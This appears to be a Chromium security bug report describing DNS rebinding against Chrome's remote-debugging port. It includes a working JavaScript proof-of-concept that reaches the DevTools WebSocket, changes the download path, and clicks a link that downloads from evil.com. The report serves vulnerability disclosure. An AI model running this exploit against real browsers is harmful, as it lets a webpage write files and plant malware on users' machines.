UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36

Steps to reproduce the problem:
1. "./Google\ Chrome --remote-debugging-port=9222", remote-debugging-port option is quite normal in headless mode
2. visits http://attacker.com.
3. attacker.com has an <iframe> to attack.attacker.com, and have configured their DNS server to respond alternately with 127.0.0.1 and 123.123.123.123 (an address they control) with a very low TTL.
4. When the browser resolves to 123.123.123.123, they serve HTML that waits for the DNS entry to expire, then they XMLHttpRequest to attack.attacker.com and have permission to read response.

<a id='halo' href="http://evil.com/malware">halo</a>
<script>
var req = new XMLHttpRequest();
req.open('get', '/json/list', false);
req.send();
var wsurl = JSON.parse(req.responseText)[0].webSocketDebuggerUrl;
console.log(wsurl);
var ws = new WebSocket(wsurl);
ws.onmessage = function(msg) {console.log(msg.data)};
ws.onopen = function() {
ws.send(JSON.stringify({
                id: 123,
                method: 'Page.setDownloadBehavior',
                params: {
                    behavior: 'allow',
                    downloadPath: '/tmp/here/is_not/exists'
                }
            }));

setTimeout(function() {halo.click();}, 1000);
</script>

similar issue: https://bugs.chromium.org/p/project-zero/issues/detail?id=1447

What is the expected behavior?
check "Host" header

What went wrong?
webpage is able to create any files or directories in system

Did this work before? N/A 

Chrome version: 65.0.3325.181  Channel: stable
OS Version: OS X 10.13.3
Flash Version: